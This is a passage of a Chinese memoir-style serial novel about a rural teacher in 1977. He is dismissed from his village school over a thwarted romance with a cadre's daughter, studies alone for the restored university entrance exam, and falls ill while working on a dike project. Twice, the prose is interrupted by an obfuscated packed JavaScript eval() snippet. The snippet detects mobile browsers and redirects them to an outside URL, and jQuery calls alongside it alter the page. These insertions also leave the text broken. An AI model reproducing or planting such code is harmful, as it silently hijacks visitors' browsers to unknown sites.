瘫子爹也说:“这两个姑娘怎么能配得上我们之华啊!是糊涂,太糊涂了!” 我想让父亲不伤心,高兴起来,于是开玩笑说:“伯!你说,你觉得周边村子里,哪位姑娘最优秀?你说哪个最优秀,我就娶哪个。” “我说优秀有什么用?你看得上人家,人家看不上你。”父亲竟认真起来。 “我来说一个。”瘫子爹也参和进来了,“和你一起教书的一个女老师就不错!” 我们学校有三个女老师,我问:“你说的是哪一个?” “周书记的姑娘呀!一对长辫子,很漂亮的。” 大队宣传队有一次在我们村演出,演员们在瘫子爹家化妆,他近距离见过。 “周书记怎么会看得起我家?不可能的事!”父亲斩钉截铁地说。 “我看不见得!”瘫子爹有点不服气地反驳道。 “你明天就找人去她家提亲吧!我保证她会同意。”我也要来真的了。 在来这里之前,我在张家大塆看电影,是露天电影。 没有板凳,我正站着看,放映的是《柳宝的故事》。忽然,金芬端着一条板凳走过来了。 “之华老师,你也来看电影啊!” “是啊!这么巧。” “你一个人来的吗?” “是啊,”我看了看她手上的板凳,“你从哪里搞到板凳的?你是几个人一起来的?” “我也是一个人来的。”她把板凳放到我面前,说:“你坐吧?没别人了。” 我坐在板凳上了,她也坐到板凳上了。 我看电影很专注,全部精力都投入了影片中去了。 忽然,她的手碰到我的手了,我的手像触了电一样,我马上往回收,没想到她一把抓住我的手,紧紧地,不松开。 这就样,两人坐在板凳上,她抓着我的手,一直看到电影结束。 两人都没说话,一句话也没说。散场时,她拿着板凳走了,我也走了,还是都没说话,连道别的客气话也没说。 当瘫子爹提到金芬时,不知怎的,我就脱口说了那样的话。 “我看行!,你就去请大队书记做这个媒人。”瘫子爹也认真起来了。 “ 那我试试吧!”父亲有点高兴的样子了,但说话时好像底气不那么足。 “你明天就去找张书记!”瘫子爹说话时就底气十足。 十 第二天一大早,父亲就跑到张书记家。父亲说明了来意,张书记说:“周书记有点难说话啊。但这是好事,我去试试吧。” 因为近两年我的表现,张书记对我父亲态度完全改变了,这事要是放在前几年,那简直不可能。 张书记当天中午就去找了周副书记,周副书记一听就连连说:“不行!不行!不行!” 张书记说:“之华老师很不错的,为什么不行啊!” “之华老师是很不错,但他家的处境太差了,我在他们村蹲点一年多,我太了解了。” 接着他又说了一句后来很有名的话: “放牛也要把牛放到有草的地方啊!” 张书记就没再说什么了,他回话对我父亲说:“周书记说放牛也要把牛放到有草的地方。我尽力了。” 父亲把张书记的话告诉我了。这也在我的预料之中,她父亲肯定不会同意。 第二天是星期一,一大早,我正在操场上带领武术队搞训练,金芬来到我的面前,说:“之华老师,我想和你谈谈。” 于是,我就叫古清秋老师带武术队继续训练,我和金芬就来到学校后面的山坡边。 “是不是张书记到过你家了?”我猜到她为什么找我,“你父亲不同意吧?” “我不管他同意不同意,只要你同意。”她接着说:“你感觉不到吗?我早就喜欢上你了。” “什么时候?” “我上高中的时候。”她停了一下,低着头说,“你还记得那次在蔡榨街上,我和小莲遇见你,说你被评上“公社第一美男子了。” 我记起来了,说:“那就是一个闹剧,大家说得好玩的。” “我也听说过你和郝苹的事。”她抬头看了看我,说:“当时我就想,我要是那个郝苹就好了。” “昨天晚上,我是特意去找你的。” 我回忆了一下,就问:“你是怎么找到我的?” “以前我不敢找你,看到你把四川姑娘都引到家里了,我就敢了。” 她接着说,“昨天晚上,我其实是和小莲她们几个一起来看电影的,我在场上看到你了,我就躲开她们,拿着板凳来找你。我有好多话想对你说。” 听金芬说到这里,我知道了她的心意,心里很感动。于是我对她说:“可是,你父亲不会同意的。” “昨天晚上我和父亲吵了一架。我对他说,就是讨饭我也要跟着之华。我不怕穷!” 说到这里,她调皮地一笑,对我说:“我们到街上去卖唱,你弹琴唱歌,我帮你收钱。” 她把我也说得笑了。 上课的铃声响了。“上课去吧!下次再谈。”说完,她就甩着两条大辫子向教室跑去。 自那天后,金芬的父亲把她看得很紧,不许她和我单独接触。 她们村离学校最近,他父亲站在村前就能清楚地看到学校那一排房子。 有一天下午,学校放学了,师生们都回家了,我还在操场上清理武术队的器材,金芬就留下来给我帮忙。 不料,被站在村前的她父亲看到了。她父亲扛着一把锄头就往学校这边走来。 金芬看见了,就忙向村的另一边跑回去了。 晚上,她竟被父亲打了一顿。 十一 1977年的暑期就要到了。暴风雨又要来了,真的是彩虹前的风雨。 期末考试结束后,公社教育组通知我去开会。 教育组领导告诉我,因为我校新校舍建起来了,班级都集中到一起了,班级减少了,教师就超编了。 教育组给了我两个方案,让我选择。 第一个方案是裁掉两名教师,第二个方案是加办一个初中班,可以不裁减老师。 因为我们学校师资力量不足,加办一个初中班难以保证教学质量。所以我选择了第一个方案。 学校现有12名老师,只有金芬是高中学历,我和教导主任是初中学历,还有两位老师初中没读完,其他的都是小学学历。张校长是公办老师,是初师学历,这时还在党校学习。 我举个小例子,就知道我们老师的水平了。 有一位老师,初中二年级没上完就掇学了。他教四年级的数学,有一次在课堂上为一道数学题和学生争吵起来了。 这道数学题是求环形的面积,学生是先算出大圆的面积,再算出小圆的面积,用大圆的面积减去小圆的面积就得出环形的面积。 这个老师说学生的方法不行,他有好方法,他说用大圆的半径减去小圆的半径,再根据这个去算环形面积,多简单。 学生不服气,就在课堂上吵起来了。 这个老师就把学生带到我这里来了,要我来评判。 我说学生是对的,老师是错的。 这老师不服气,说都对,但他的方法简单一些。 我说这很好评判,如果都对,那结果应该相同。 这个学生很聪明但又非常调皮,常常违纪。这位老师就说我帮坏学生说话,故意伤害他这个老师的尊严,还告到大队长那里去了,大队长竟批评我不团结老师。 后来我高考政审不合格而导致落选,这也是他们找我毛病的一个由头。 有一年,为了检测民办老师的专业水平,全公社的民办老师参加数学考试,题目出得难,我也只考了96分。可是,我校的民办老师,全部都在30分以下。 在我考上大学离开学校后,民办教师教师通过考试就可以转正,我这个学校的民办老师,连考三年,没有一个合格的。 教育组的领导要我慎重考虑,他建议我选第二个方案。也是我太较真了,我没有听从这位领导的建议。 我回来向大队长汇报了情况。大队全体干部召开了一次据说是本大队有史以来时间最长保密级别最高的会议。 第二天,大队会计来学校宣布大队会议的决定:裁减老师两名,第一名是古之华,第二名是位女老师。 大队会计宣布完,什么话也没说,带着会计就走了。 我也什么也没说,收拾一下办公桌里的东西就离开学校,往学校后面的山坡走去。 金芬哭着从后面跑过来了,我对她说:“算了吧!以后也不要联系了!”没等她开口,我就头都没回急匆匆地走了。 此后有十多年,我都没到这个学校来过,回家时也是绕过学校走。 现在这个学校早已被撤销了,改建过的学校校园内长满了杂树,已经被我的一个学生买下了。 这个学生曾是我们武术队的队员。 新修的公路正好从学校门口经过,现在每次回老家,我都要在学校门口停一会车,在杂草丛生的校园旁边走一走。 消息很快就传开了,整个大队炸开了锅。 各村都有家长去找大队干部闹。 有一位家长,是我那个武术队队长的父亲,他闹得最凶。 他喝了很多酒,跑到大队书记家里,指着书记的鼻子骂 :“ 你家断子绝孙没孩子读书,老子家儿子多,都要读书。你们把这么好的老师开除了,存的什么心!” 要不是村民们拉着,就打起来了。 消息很快传遍了全公社,全公社的老师们也都为我打抱不平,很多老师找到教育组,还有找公社党委书记的。 正好这时公社开三级干部会,全公社的各级干部都到镇里开大会。 公社党书记在大会上点名批评我们大队书记,并叫我们大队书记当场站起来,当场质问:“你们怎么搞的?怎么把古之华老师开除了,你们还想不想办好学校?” 散会后,我们大队的书记找公社书记解释,说没有下放我,因为我这几年暑假都没回小队参加劳动,所以临时下放到小队劳动一段时间。 这样的解释太荒唐了!当教育组的领导向我转述时,我说:“你们相信吗?” 教育组有一位领导就是原先在我们学区当初中校长的占校长,他说:“我们也不相信!” 的确,连续三年,我都没回小队参加劳动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915239|160265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一放暑假,公社教育组就抽调我去刻印小学教材。 因为当时我们公社的小学没有正规的课本,就根据县里给的样本自己油印。 必须用仿宋体刻印,我的仿宋字刻得比较好,所以就抽调我去刻印小学教材。 这工作很繁重,我要在钢板上用铁笔一个字一个字把课文刻出来,刻写仿宋字比较慢,要求又很严,很费时间。 刻好了还要用油印机一张一张印出来,课本封面也是我设计的,然后还要一本一本装订起来。 这工作只有我和教育组的占校长两个人来做。 全公社小学的语文课本必须在暑假里全部印出来,所以暑假里我就没回小队参加劳动。 大队干部在大会上受了批评,非常恼火,认为是我到公社告了他们的状。 其实,那几天我一直在家里没出门。直到刚调任公社中心小学当校长的占校长派人来找我,我这才出门到镇里的中心小学去。 告他们状的是金芬。 在学校后边的山坡上看到我走了,她当即就跑回家找她父亲,问是不是他搞的鬼,哭闹了一场。 本大队有史以来时间最长保密级别最高的那次会议还是很快泄密了。 大队干部中,还是有不乏正义感的人。 这次会议的确开得长,从上午9点一直开到晚上10点。 为什么开这么长呢? 会议的主题是要决定下放哪两个老师。 下放那个女老师的理由是她经常打学生,还让学生下跪,家长们意见很大。 另一个下放谁呢?周副书记在会上说下放她女儿,会前他已经和张书记说一定要把我和他家金芬分开。周副书记的提议马上就被否决了。 郝苹继母的朋友大队卫生所的所长古唯富也参加了这次会议,他提出下放我。 问题是我对学校的贡献太大了,成绩太大了,影响也太大了。要下放我,总要有说得过去的原因吧。 于是就开始讨论,好几个小队长表示反对,也有一直不说话的。 讨论来讨论去,就一直讨论到晚上10点。最后作出了决议: 决定下放我和那位女老师;会议的情况绝对保密;会议上所有人的发言和态度不准泄漏出去。 我父亲也曾上门找张书记理论过,张书记就没保密,他对我父亲说,他这个媒人没做好,周书记一定要把之华和金芬分开。 不知是金芬自己猜到的,还是有人也把会议的情况泄露给她了。她竟自己跑到镇上找公社书记告了她父亲一状。 告她父亲嫌贫爱富,不同意我们的婚事。还说我们是自由恋爱,没有任何不合法的行为。 我回家不到一星期,刚调任公社中心小学当校长的占校长派人来找我,说有事找我谈,要我到他们学校去。 我就跟着去了。 占校长问我愿不愿意来他们学校工作,我当然愿意啊! 占校长说他想在学校也搞一个武术队,请我来当教练。而且要我马上来上班,做一些准备工作。 他担心我们大队不放人,就派他们学校的教导主任和我一起回去找大队干部商谈。教导主任姓张,也是张家大塆的人。 我和张主任先来到大队张书记的家,张书记气还没消,说学校的事不归他管,还说周副书记也不管学校了,现在是交由大队会计管。 于是我和张主任又来到大队会计家,大队会计还是那个“化叔”。 张主任很客气地对“化叔”说:“我们学校想聘请之华老师做代课教师,帮我们学校也搞个武术队。请你们支持一下。” “那不行!我们没有下放他,” “化叔”没请我们坐,自己坐下点上一支烟,接着说:“我们只是要他补一补劳动。” 张主任看他那架式,知道说不通,也就没再说什么。我对张主任说:“算了吧,我们走。” 我们走出门了,听到玉化叔在里面好像是自言自语,: “想得美,还越整越好了,从大队小学还搞到公社中心小学了。” “化叔”的嗓音提高了一些: “不怕你有本事,再有本事也打不过佛爷的巴掌心。” 张主任想顺便回家看看,他妻子和儿女还在老家张家大塆,是农村户口,当时叫“半边户”。 我也回家了。我把情况告诉父亲,父亲气得大骂玉化叔不是人。 没想到中心小学的占校长第二天上午就跑到我们大队来了。 他先直接到“化叔”家,对“化叔”说:“我不是来征求你们意见的,我是来通知你们,从今天起,之华老师就是我们学校的代课老师了,我已经上报公社教育组,公社教育组已经批准了。你们要是有什么意见,就去向公社书记反映。” 说完就出门到我家来了。 顺便介绍一下这个占校长,他的火爆脾气在全公社教育界很出名。 老师们都说他的三个博士儿子都是他打出来的。 大儿子占兵,现在是美国一所世界知名大学的终生教授。上小学时,占兵有点调皮。 有一次占兵犯了错,占校长拿起棍子就要打,占兵吓得往屋外跑,占校长在后面追,一般的家长,追一会追不上就算了,可占校长不同,他一直追打。 这一次,占兵竟往离镇有十多里路远的老家跑,因为他奶奶在老家。占兵一路狂奔,占校长一路猛追,占兵一路狂奔到老家,占校长一路猛追到老家,奶奶也拦不住,占兵没能逃过这次打。 可想而知,当占校长听了张主任的汇报会气成什么样子。加上占校长又特别喜欢我。 占校长到我家后,通知我第二天就去学校上班。 公社中心小学规模较大,每个年级有四个班,全校有近千个学生,教育教学的设施都很完备,校园里树木葱郁,花草鲜美,运动场虽然不大,但篮球架、乒乓坛、双杠、单杠等各类体育运动器材都有。 暑假期间,我做好了武术队的训练计划,购买了一些武术器材。 开学了,我开始挑选武术队员,学生多,好挑选。很快,武术队就成立了,训练也按计划顺利进行。 占校长对我的工作很满意。 时间到了1977年度10月,我人生最大的转折开始了。 中国恢复了高考制度。占校长特批了我的复习备考长假。 我的高考开始了! 35. 第 35 章 第六章 我的高考 一 1977年10月中旬,在公社中心小学工作才一个多月。恢复高考的消息传来了,我高兴极了!兴奋极了! 我太盼望读书了!这回别又是梦啊!离校回乡后的十年中,我不知做了多少回在学校读书的梦了。 多少个梦里,我回到了学校。在教室里上课,在操场上打篮球,在水泥做的乒乓台上打乒乓球,在图书室里看书。 有一次,梦中的我正和同学们在宿舍里聊天,我对同学们说:“别不信啊,有些梦是可以成真的。我做了好几次上学的梦,你们看,现在不是成真了吗?” 结果,梦醒了,又是梦,我就再也睡不着了,流着泪坐到天明。 终于真的有了再上学读书的机会了!我一定要考上,一定要再次走进课堂,去追我少年时的梦! 占校长批准我回家复习备考。我收拾好行李,离开中心小学。 一回家,我就开始整理书籍。 我初中的课本保存得非常好,很完整。语文、代数、几何、俄语、历史、地理、物理、生物,全部都完好无损。 我从小就有个习惯,一发新书,就用纸把书都包起来,□□纸坏了,一定要重新换纸再包起来。我的课本连边角都不会折损。 10月下旬的一天,通知报名和填报志愿了。 我兴冲冲来到设在镇中学的报名点,学校里拥拥挤挤都是前来报名的考生。 我听他们交谈,基本上都是高中生,有地区高中的,有县高中的,也有很少的初中生,我一个同学也没遇到。 报名考生的队伍排了很长,好不容易轮到我了。 我往窗口里一看,这个窗口里负责报名的老师是我认识的,他还是高我一届的初中校友。 他问我是报中专还是报大专。 “报大专。”我毫不犹豫地说,并递上准备好的初中毕业证。 他看了一下我的毕业证,又抬头看看我,笑着说:“是你呀老同学。” 我早认出他来了,问:“老同学,没问题吧?” “有点问题。”他指着我的毕业证说,“你是初中学历,怎么报大专呢?” “我分析过相关的招生文件,相当高中学力的也可以呀。力量的力。” 我在老同学给的报名登记表上学历一栏填上“相当高中学力”。报上名了。 回家后,我路过同学古春福家,我告诉他,我报上名了,叫他也去报名。 可是他说:“我们初中都没读完,怎么考得上大学?语文还好说,高中数学怎么办?再说,我有了老婆孩子了。算了吧,我不去了。” 回到村里,我又鼓动同村的一个高中生古九号去报名,古九号是我出生时救过我的命的“老大”的儿子,按辈份他是我的爷爷辈。 “老大”共生了九个儿女,取名很有意思,按号次取名,九号是最小的儿子,他有个哥哥叫八号。 可是老大不让他去,说他想上大学是做白日梦。我说我是个初中生都敢去报考,九号是高中生,怎么不敢去考呢?在我的鼓动下,九号第二天也去报了名。 过了几天得知,我们大队有十几个高中生去报名了,金芬,也报了名。 金芬得知我报了名,就偷偷给我送来一套高中数学课本。 二 高考的时间定在12月的7日和8日两天。 文科考试科目:语文、数学、政治、历史、地理。 1977年11月1日,我的高考复习正式开始了。复习时间总共只有36天。 我认真分析了自己的学习基础,语文、历史、地理三科基础较好,问题不大,政治主要是时事政治要加强,问题也不大。 关键是数学,初一初二的数学我基础非常好,初三的数学和高中的数学没有学,必须下功夫学,需要的时间最多。 要把初三和高一的数学作用为学习的重点。 于是,我制订了这样一个复习计划。 11月1日至7日,7天复习完初中全部课程,主要是数学。 11月8日至15日自学完高中数学第一册, 11月16日至23日自学完高中数学第二册。 11月24日至30日,自学完高中数学第三册。 12月1日至12月5日,全面复习各科,查漏补缺,做模拟试题。 12月6日,到镇上住宿,休整。 这一个多月,我基本上没出房门,没有洗澡,没有脱衣上床睡觉,不见任何人。 吃饭都是母亲送进房内,吃饭时也得看书,背考点。洗脸水、洗脚水也是母亲送到房内。 吃饭,有时不知道是早饭还是中饭还是晚饭。 睡觉,困了就伏在桌子上枕着手臂睡一会,困了也不敢睡时,就用冷水冲一下头。 我的高考,没有学校,没有老师,没有同学。 复习期间出过一次门。大约是11月中旬,我刚学完三角函数的时候。听说张家大塆有一位县高中退休的数学老师在家里辅导县教育局张局长的儿子。张局长的弟弟是我的小学同班同学,还同过桌。 那天晚上,我吃过晚饭就去张家大塆,找到那位退休老师的家。 我进他家的时候,正好他们在做试卷,一共有五个高中生在做数学试卷,其中就有张局长的儿子。 这位老师非常好,他让我坐下来也做那数学试卷。 我一看这试卷,一共有五道数学题,全是大题,正好里面有三角函数题。于是就认真地做起题来。 等到六个人都做完了,老师就当场批改评分。结果让这个老师大吃一惊。 他问我:“你是哪个高中毕业的?” 我说了我的学历,老先生更惊讶了,连连说:“了不起,了不起!” 他又问我是怎么复习备考的,我如实告诉了他。 老先生对那五个高中生说:“你们在高中是怎么学习的?你们的数学成绩竟比这个初中生差那么远!” 接着,他宣布了成绩。 这五道题都是压轴的难题,每道题20分。他们五个高中生都没及格,有两个学生一道题也没做出来。 我做对了四道半,得了90分。 老先生对我说:“好好复习,你肯定考得上!” 老先生的话给了我极大的鼓励,也增强了我的信心。我学习的劲头也更高了,也更拼命了! 我本来想,同村的九号是高中生,成绩在学校名列前茅,高中数学我可以向他讨教。 九号虽然报了名,但老大要他出工嫌工分,还不准他和我接触。 老大还到我家骂了我一次,说我害得九号少嫌了好多工分。于是。 我的想法落空了。 我按照自己制订的学习计划,一步一步艰难地攻击前进。 一个概念,就是一座碉堡;一个定理,就是一道战壕;一个公式,就是一片地雷阵。 每一道例题,我都仔细捉摸;每一道习题,我都精心解答;每一道难题,我都反复推敲。 终于,我按计划学完了全部预定学习内容。 当年,我还报考了湖北艺术学院美术专业。 报名地点在武昌新华路湖北艺术学院大门口,报名那天,学院里挤满了前来报考的人。 报名时要带一件美术作品,我带的作品是一幅工笔人物画,想报考国画专业。可是当年只招收一个“工艺美术设计” 专业。 来报考的人有5000多人,而这个专业只召20名学生。 我一想,希望太渺茫了。但是,来都来了,考一下试试。 考场设在武昌阅马场中学。 那是一个雨天,好朋友雷道华还冒着雨来陪我考试。 考题是石膏像素描。 我没画过石膏像,但画过不少真人像。 在小学当校长的时候,桃园小学的曾浩文校长请我为他去世的父亲画一幅遗像。 他给了我一张他父亲1寸的登记照,我给他画一一幅10寸的遗像。 送遗像那天,我先到他老家曾家大塆。 我拿着遗像问他村里的人,村里人都说画得像曾校长的父亲。 曾校长看了也说画得好,为了感谢我,他送给我一本书,书名是《文艺学概论》。 我给曾校长的父亲画遗像的事传开了,就有不少人找我为死去的老人画遗像。 有的老人一辈子没照过像,他的家人就在老人刚去世还没下葬时请我去对着遗体画。 死去的老人,眼睛都是闭着的,画起来真还有些难度,比画石膏像难多了。 对着考场里讲台上大卫的石膏像,我就画了起来。 雷道华打着雨伞在窗外看着我画。 第二天早上就放榜,公布参加复试的名单。 5000多人参加考试,录取300人参加复试,我竟然在复试的名单中。 可能是考虑到来参加考试的人来自全省各地,且高考马上要开始了,怕耽误考生的时间。当天下午就进生复试。 复试的考场设在武昌阅马场中学的大礼堂里,300人坐在一个考场里。 考题是设计手帕的花样。 我的设计是:手帕的中央是一朵牡丹花,周边是线条组成的连续图案。 自己感觉还不错,但只有20个录取名额,我也没抱多大希望。 听一些考生议论,说什么已经内定了不少,那就更没指望了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915240|160265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 考完当天我就回家了。 三 12月6日上午,我来到了镇中学高考考场。我们这个考场共设16个考室,每个考室30名考生。 看考场时,遇上了镇中学教导主任的儿子蔡洪生,他也参加今年的高考。 我们旱就认识,他约我在考场旁边的学生宿舍里住,这里离考场近。于是我俩就在一间学生宿舍里住下来了。 一住下来,我们就开始讨论备考的问题了。 他选报的是理科,我们讨论的话题就只有数学和政治了。 他是高中生,数学特别好,我们讨论高考数学题会考些什么,我俩都猜测今年是恢复高考的第一届,数学题不会很难。 我们还具体讨论了几个比较典型的数学题。也巧,我们讨论过的一道数学题竟是高考数学试卷上的一道原题。 我俩都猜测今年政治考试的重点是时事政治,于是一起把我国近一年来的重大政治事件作了一个系统的梳理。 考试时一打开政治试卷,我就惊喜地看到,所有试题的内容我们都讨论过。 晚上,我俩都睡不着。白天我们只是在讨论数学和政治,我说,也讨论一下语文吧。 于是我们就讨论了一下作文会怎么出题,我俩都觉得自己作文没什么问题,管他出什么题都不怕。 正好他的书包里有一本《成语辞典》,我说,反正睡不着,我们来背成语吧,看谁背得多。 规定按词条原文背,不准错一个字。各背完一个成语就互相考查,我背的时候,他拿着《成语辞典》对照;他背的时候,我拿着《成语辞典》对照。 我们都背了20个成语,夜已很深了,也有点睡意了,这才躺下睡觉。 我俩真是好运气,第二天语文试题中有一道题就是成语解释,考题中的四个成语都是我们背过的。 我现在还能背,如其中的“纲举目张”:语出郑玄《诗谱序》,等等。我是原文默写上去的。 第二天,1977年12月上午。我的高考正式开考了。 首先考语文,作文题是《学雷锋的故事》。 我想,这题目太简单,很容易落俗套,大多数考生会这么写的,我一定不能这么写。 记叙文一定要构思巧妙,情节曲折,描写生动,细节精彩。 我看了一下借来的手表,还有一个小时,时间很充裕。于是我就开始构思,在草稿纸上画思路图,竟记了时间。 忽然,监考老师说:“还有最后15分钟。” 我一看手表,手表坏了,上面显示的时间没变。 不能再构思了,也不能按构思写的太曲折了。 我马上动笔开始写: 学雷锋的故事 哗哗哗!大雨下了一整夜都没有停。小明从床上一轱辘爬起来,大喊了一声:“糟糕!”(开头) ┄┄(正文) 老奶奶亲切地抚摸着小明的头说:“你们真是雷锋式的好孩子啊!(结尾) 写完了,刚好700多字。铃声也响了。 晚上和洪生谈语文考试的情况,他说:“我的作文是编了一个故事。” 我说:“我也是编了一个故事。” 他说:“写作文就是要会编啊!哈哈!” “编得像真的就行啊!哈哈!”我们都大笑起来。 考数学了。上初中时,最喜欢考数学了,而此时走进考场,却有一点忐忑。 打开试卷一浏览,前面的题60分,基本上是初中数学的内容,后面两道大题,一题20分。一道是解指数方程,一道是画函数图像,是高中数学的内容。 于是心里有底了,就埋头做起题来。 进考场就没抬过头,也没有观察过同考室的考生,直到全部考完我都没看过同考室有哪些人。 我做完前面的基础题时,抬了一下头,我吃了一大惊,人都走光了,他们不知是什么时候走的,全考室就剩下我一个人了。 看到我抬起头了,监考老师走到我的面前,笑着对我说: “你看看旁边的,都是白卷。别着急,慢慢做,还有一半时间。这个考场可能只有你能考上了。” 历史和地理是合卷,考的都是基本常识,太简单。我很顺利地做完了,估算了一下,差不多可以得满分。 考完后,到宿舍清理东西,洪生和他弟弟勤生也来了。 他弟弟勤生是应届生,也参加这次高考了,他住在家里。 勤生说:“我要是和你们住在一起就好了,可以多考好多分。” 这一年,他兄弟两个都考取了,洪生上了武汉大学,勤生上了华中工学院,也就是后来的华中科技大学。现在这兄弟俩都在美国。 36. 第 36 章 四 告别了洪生勤生两兄弟,我就往回家的路上走。 半路上,遇上了大队团支书老七,“我正要到镇中学找你,没想到在半路上遇上了。”他接着说:“大队长叫我来通知你,今天晚上就出发,到汉北水利工地上去。” “我要和公社中心小学打个招呼吧?” “大队长他们决定的,我只负责通知你。” 我想了一下,怕大队在高考政审中搞我的鬼,就答应了。 回到家,父亲问我考得怎么样,我说还行,应该考得不错。 我放下书包,就开始作上汉北水利工地的准备了。 全村的男女主要劳动力都要上汉北水利工地,我父亲也要同去。母亲因为家里有众多的小孩要照顾,就没去。 吃过晚饭,我就同村里的三十多人一道,挑着被子和日用品及锄头、铁锹、箢箕等农具出发了。 从我们村到汉北水利工地,有80多里路。 差不多走了一整夜,天快要亮的时候,我们来到了一个叫花子大塆的村子。 走到这个村子时,我真的撑不住了。 两天的高考,晚上又没怎么睡觉休息,接着又走了整夜的路,简直是困乏到了极点。 心里想,快点找个地方好好睡一觉。 这时大概是早上5点多钟,我们三十几个人,分别在几个村民家打地铺。 我和父亲,还有四个同村的人,在一个很小的房间的地上铺下稻草,上面再铺开被子,这就安营扎寨了。 我刚想躺下睡觉,大队长来了。 他向我们喊道:“快到外面集合,马上到工地上去。早饭在工地上吃。” 我到外面一看,天还没亮,一片漆黑,看不清这个村子的全貌。 黑暗中,从不同的屋子里陆陆续续地走出来一群人,有的扛着锄头铁锹,有的挑着箢箕。 在大队长的指挥下,排成一个稀稀拉拉的长队,缓慢地出发了。 我挑着一对箢箕跟在队伍的后面。 天很黑,田间小路弯弯曲曲的,不大好走。 从我们住的地方到工地,大约有8里多路。 走着走着,天慢慢地亮起来了。 到工地时,天也差不多大亮了,可以看见工地的全貌了。 这是一个河堤工地,工地很大,左边看不见头,右边看不见尾。 河堤已经修了有三层楼那么高了。 离大堤不远的地方有很多临时搭建的工栅,已经有许多民工在工栅里吃早饭。 我们村里的人挤在一个工栅里吃早饭,我已经非常饿了,端起饭就吃。 当年修这个汉北大堤,动员了全县的劳动力。每个大队修一段,民工们都是自带粮食,自备工具,没有报酬。 修水利有一个好处,就是大米饭管饱。 我正吃着饭,还没吃完,工地上的许多大喇叭就响起来了,《东方红》的歌声响彻整个工地。 大队长喊起来了:“开工了!开工了!” 民工们纷纷扛着锄头铁锹挑着箢箕上工地了,我也急忙放下饭碗挑着箢箕跟着上去了。 看不清也数不清工地上有多少人,只见看不见头尾的大堤上满是人,堤这边几十米的场地上也铺满了人。 堤这边是取土的工地,民工们把这边挖出来的土,用箢箕一担一担往大堤上挑。 体弱的民工和女民工负责挖土,身强力壮的民工就负责挑土,因为把土挑上高高的堤上去是很费力气的。 我们村的小队长苕三爹分配我挑土。 挑土的民工把空箢箕放回挖土的地方,马上就把已经装满土的箢箕挑走。 无需等待,不能停歇,没有休息,上下跑,一直挑。 开始挑几担还不算很累,后来我就觉得非常费力了。 我挑着担子一步一步往堤上爬,有时爬得腿直发抖。 二苕货爹的第六个儿子撮号叫“苕肉头”的是负责挖土的。 他看到我累得不行的样子,悄悄对我说:“你去解手哇!解大手。” 我说:“我没手解呀。” “你真是书呆子,解手可以休息一下呀。” “不行不行,这样不好。”我没手解,怎么能假装解手呢?那太难为情了,我知道他的好意,“算了吧,我还是慢慢挑吧。” “苕肉头”见我不愿意去解手,就又想了一个办法。 他放下铁锹,用手捧几把土在箢箕里薄薄地铺上一层,说: “挑走挑走!” 我对他说:“这太少了吧?” “挑走挑走!”他挥挥手,大声说:“你就说是我“苕肉头”上的土,看那个狗日的敢放屁!” “苕肉头”有弟兄七个,平时在村里没人敢惹他,和人打架他也非常凶狠。他父亲就是我曾经搞的那个“忆苦思甜”画展的主人翁。 “苕肉头”这样一操作,我就如同挑空担子一般了。 很多人都看见了,竟没有一个人说闲话。不知是因为“苕肉头”的霸气,还是因为大家都同情我。 的确,我被大队撤了校长下放回家,引起了大家的公愤,大家都同情我。 在工地上,碰到我的人大都会问我:“你考得怎么样啊?” 有人安慰我说:“你这么有才华,一定考得上!别着急!” 还有人对我说:“我们全大队的人都在为你祈祷,唯愿你能考上。” 多好的乡亲们啊! 每当听到他们这样说,我都感动得眼泪在眼框里转。 五 虽然乡亲们千方百计照顾我,我还是没挺住。 我病倒在工地上了。 乡亲们把我抬回家,工地医生给我量体温,高烧到40度了。 我躺在地铺上,全身没什么知觉了,只有脑袋还有知觉。 工地医生说我病得很厉害,身体极度虚弱,非常危险。 父亲都急哭了。 全大队的人都来探望,很多人看到我病成这样,都禁不住流下了眼泪,求老天爷保祐我。 “开开眼吧老天爷!一定要救救之华老师,他还要上大学啊! “之华老师是多好的人啊!为什么命这么苦啊!太不公平了!” 昏昏沉沉中,听到乡亲们这些真情的话语,我百感交集。 我心里暗暗想: 我一定要挺过来,一定要活下去,一定要上大学! 工地医生也尽力抢救,一个星期后,我慢慢地好起来了。 我刚好了一点的时候,大队小学的几个男老师也来工地了,清秋老师带来了金芬的一封信。 信封上没有字,里面的信全是用汉语拼音写的,信中还有2元钱。 金芬得知我在工地上病倒了,所以带信来安慰我。 金芬还真有心呢,汉语拼音别人看不懂,带信的清秋老师也是看不懂的。 她知道,我是看得懂的。 再联想起她到公社书记那里去告自己父亲的状,我对她的好感增强了。 大队长看到我这个身体状况,就没让我上工地,让我去为工地伙房打柴。 这里是湖区,能烧火的柴草早被村民砍完了。 我看到湖里有许多水草,水草晒干了也是可以烧的。 于是我就到附近的湖里去打水草。 有一天,我打水草的那个湖的水被放干了,湖底的淤泥都露出来了。 我脱下鞋,赤脚踏入淤泥中,准备去打湖中间的水草。 12月下旬了,天很冷,虽然那天是晴天,但脚踏入泥中还是感觉到冷得剌骨。 时间长一点感觉就好一点,也可能是冻麻木了吧。 我正用镰刀割湖中泥淤上的水草,忽然感觉到脚旁边有东西在动,我伸手一摸,竟摸出一条大黑鱼。 我好高兴,有鱼吃了,可以改善一下生活了。 我天天吃的菜就是盐水煮大白菜,盐水煮白 